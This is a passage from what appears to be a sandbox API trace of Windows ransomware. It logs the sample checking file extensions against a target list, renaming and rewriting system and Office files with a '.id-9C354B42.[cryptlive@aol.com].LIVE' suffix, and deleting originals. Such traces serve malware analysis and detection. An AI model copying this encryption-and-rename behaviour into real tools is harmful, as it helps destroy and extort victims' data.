lpString2=".mui") returned -1 [0127.381] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.381] lstrlenW (lpString=".jpg") returned 4 [0127.381] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.381] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.381] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.381] lstrlenW (lpString=".doc") returned 4 [0127.381] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.381] lstrlenW (lpString=".docx") returned 5 [0127.381] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.381] lstrlenW (lpString=".pdf") returned 4 [0127.381] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.381] lstrlenW (lpString=".xls") returned 4 [0127.381] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.381] lstrlenW (lpString=".xlsx") returned 5 [0127.381] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.381] lstrlenW (lpString=".ppt") returned 4 [0127.381] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.381] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.381] lstrlenW (lpString=".zip") returned 4 [0127.381] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.381] lstrlenW (lpString=".rar") returned 4 [0127.381] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.381] lstrlenW (lpString=".bz2") returned 4 [0127.381] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.382] lstrlenW (lpString=".7z") returned 3 [0127.382] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.382] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.382] lstrlenW (lpString=".dbf") returned 4 [0127.382] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.382] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.382] lstrlenW (lpString=".1cd") returned 4 [0127.382] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.382] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0127.382] lstrlenW (lpString=".jpg") returned 4 [0127.382] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.382] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.382] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.382] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.382] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=90704) returned 1 [0127.382] CloseHandle (hObject=0x1f0) returned 1 [0127.382] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0127.382] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.382] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.383] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.383] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.383] lstrlenW (lpString=".doc") returned 4 [0127.383] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.383] lstrlenW (lpString=".docx") returned 5 [0127.383] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.383] lstrlenW (lpString=".pdf") returned 4 [0127.383] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.383] lstrlenW (lpString=".xls") returned 4 [0127.383] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.383] lstrlenW (lpString=".xlsx") returned 5 [0127.383] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.383] lstrlenW (lpString=".ppt") returned 4 [0127.383] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.383] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.383] lstrlenW (lpString=".zip") returned 4 [0127.383] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.383] lstrlenW (lpString=".rar") returned 4 [0127.383] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.383] lstrlenW (lpString=".bz2") returned 4 [0127.383] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.383] lstrlenW (lpString=".7z") returned 3 [0127.383] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.383] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.383] lstrlenW (lpString=".dbf") returned 4 [0127.383] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.383] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.383] lstrlenW (lpString=".1cd") returned 4 [0127.383] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.383] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.383] lstrlenW (lpString=".jpg") returned 4 [0127.383] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.383] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.384] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.384] lstrlenW (lpString=".doc") returned 4 [0127.384] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.384] lstrlenW (lpString=".docx") returned 5 [0127.384] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.384] lstrlenW (lpString=".pdf") returned 4 [0127.384] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.384] lstrlenW (lpString=".xls") returned 4 [0127.384] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.384] lstrlenW (lpString=".xlsx") returned 5 [0127.384] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.384] lstrlenW (lpString=".ppt") returned 4 [0127.384] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.384] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.384] lstrlenW (lpString=".zip") returned 4 [0127.384] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.384] lstrlenW (lpString=".rar") returned 4 [0127.384] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.384] lstrlenW (lpString=".bz2") returned 4 [0127.384] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.384] lstrlenW (lpString=".7z") returned 3 [0127.384] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.384] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.384] lstrlenW (lpString=".dbf") returned 4 [0127.384] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.384] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.384] lstrlenW (lpString=".1cd") returned 4 [0127.384] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.384] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0127.384] lstrlenW (lpString=".jpg") returned 4 [0127.384] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.384] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.384] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.385] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.385] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=76352) returned 1 [0127.385] CloseHandle (hObject=0x1f0) returned 1 [0127.385] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0127.385] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.385] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.385] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.385] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.385] lstrlenW (lpString=".doc") returned 4 [0127.385] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.385] lstrlenW (lpString=".docx") returned 5 [0127.385] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.385] lstrlenW (lpString=".pdf") returned 4 [0127.385] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.385] lstrlenW (lpString=".xls") returned 4 [0127.385] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.385] lstrlenW (lpString=".xlsx") returned 5 [0127.385] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.385] lstrlenW (lpString=".ppt") returned 4 [0127.385] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.385] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.385] lstrlenW (lpString=".zip") returned 4 [0127.385] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.385] lstrlenW (lpString=".rar") returned 4 [0127.386] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.386] lstrlenW (lpString=".bz2") returned 4 [0127.386] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.386] lstrlenW (lpString=".7z") returned 3 [0127.386] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.386] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.386] lstrlenW (lpString=".dbf") returned 4 [0127.386] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.386] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.386] lstrlenW (lpString=".1cd") returned 4 [0127.386] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.386] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.386] lstrlenW (lpString=".jpg") returned 4 [0127.386] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.386] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.386] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.386] lstrlenW (lpString=".doc") returned 4 [0127.386] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.386] lstrlenW (lpString=".docx") returned 5 [0127.386] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.386] lstrlenW (lpString=".pdf") returned 4 [0127.386] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.386] lstrlenW (lpString=".xls") returned 4 [0127.386] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.386] lstrlenW (lpString=".xlsx") returned 5 [0127.386] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.386] lstrlenW (lpString=".ppt") returned 4 [0127.386] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.386] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.386] lstrlenW (lpString=".zip") returned 4 [0127.386] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.386] lstrlenW (lpString=".rar") returned 4 [0127.386] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.386] lstrlenW (lpString=".bz2") returned 4 [0127.386] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.386] lstrlenW (lpString=".7z") returned 3 [0127.387] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.387] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.387] lstrlenW (lpString=".dbf") returned 4 [0127.387] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.387] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.387] lstrlenW (lpString=".1cd") returned 4 [0127.387] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.387] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0127.387] lstrlenW (lpString=".jpg") returned 4 [0127.387] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.387] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.387] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.387] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.387] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=75344) returned 1 [0127.387] CloseHandle (hObject=0x1f0) returned 1 [0127.387] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0127.387] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.387] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.388] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0127.388] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0127.388] lstrlenW (lpString=".doc") returned 4 [0127.388] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.388] lstrlenW (lpString=".docx") returned 5 [0127.388] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.388] lstrlenW (lpString=".pdf") returned 4 [0127.388] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.388] lstrlenW (lpString=".xls") returned 4 [0127.388] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.388] lstrlenW (lpString=".xlsx") returned 5 [0127.388] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.388] lstrlenW (lpString=".ppt") returned 4 [0127.388] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.388] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0127.388] lstrlenW (lpString=".zip") returned 4 [0127.388] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.388] lstrlenW (lpString=".rar") returned 4 [0127.388] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.388] lstrlenW (lpString=".bz2") returned 4 [0127.388] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.388] lstrlenW (lpString=".7z") returned 3 [0127.388] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0128.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0128.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0128.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0128.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0128.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.404] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0131.404] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0131.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0132.881] GetLastError () returned 0x0 [0132.881] ReadFile (in: hFile=0x36c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xa2b58, lpOverlapped=0x0) returned 1 [0132.975] WriteFile (in: hFile=0x328, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xa2b60, lpOverlapped=0x0) returned 1 [0132.990] ReadFile (in: hFile=0x36c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0132.990] WriteFile (in: hFile=0x328, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0132.990] SetEndOfFile (hFile=0x328) returned 1 [0132.990] CloseHandle (hObject=0x328) returned 1 [0132.990] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0132.990] SetEndOfFile (hFile=0x36c) returned 1 [0133.022] CloseHandle (hObject=0x36c) returned 1 [0133.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0133.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1 [0133.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.096] lstrlenW (lpString=".doc") returned 4 [0133.096] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0133.096] lstrlenW (lpString=".docx") returned 5 [0133.096] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0133.096] lstrlenW (lpString=".pdf") returned 4 [0133.096] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0133.096] lstrlenW (lpString=".xls") returned 4 [0133.096] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0133.096] lstrlenW (lpString=".xlsx") returned 5 [0133.096] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0133.096] lstrlenW (lpString=".ppt") returned 4 [0133.096] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0133.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.096] lstrlenW (lpString=".zip") returned 4 [0133.096] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0133.096] lstrlenW (lpString=".rar") returned 4 [0133.096] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0133.096] lstrlenW (lpString=".bz2") returned 4 [0133.096] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0133.096] lstrlenW (lpString=".7z") returned 3 [0133.096] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0133.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.097] lstrlenW (lpString=".dbf") returned 4 [0133.097] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0133.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.097] lstrlenW (lpString=".1cd") returned 4 [0133.097] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0133.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.097] lstrlenW (lpString=".jpg") returned 4 [0133.097] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0133.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.097] lstrlenW (lpString=".doc") returned 4 [0133.097] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0133.097] lstrlenW (lpString=".docx") returned 5 [0133.097] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0133.097] lstrlenW (lpString=".pdf") returned 4 [0133.097] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0133.097] lstrlenW (lpString=".xls") returned 4 [0133.097] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0133.097] lstrlenW (lpString=".xlsx") returned 5 [0133.097] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0133.097] lstrlenW (lpString=".ppt") returned 4 [0133.097] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0133.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.097] lstrlenW (lpString=".zip") returned 4 [0133.097] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0133.097] lstrlenW (lpString=".rar") returned 4 [0133.097] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0133.097] lstrlenW (lpString=".bz2") returned 4 [0133.097] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0133.097] lstrlenW (lpString=".7z") returned 3 [0133.097] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0133.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0133.098] lstrlenW (lpString=".dbf") returned 4 [0133.098] lstrcmpiW (lpString1=".dbf", 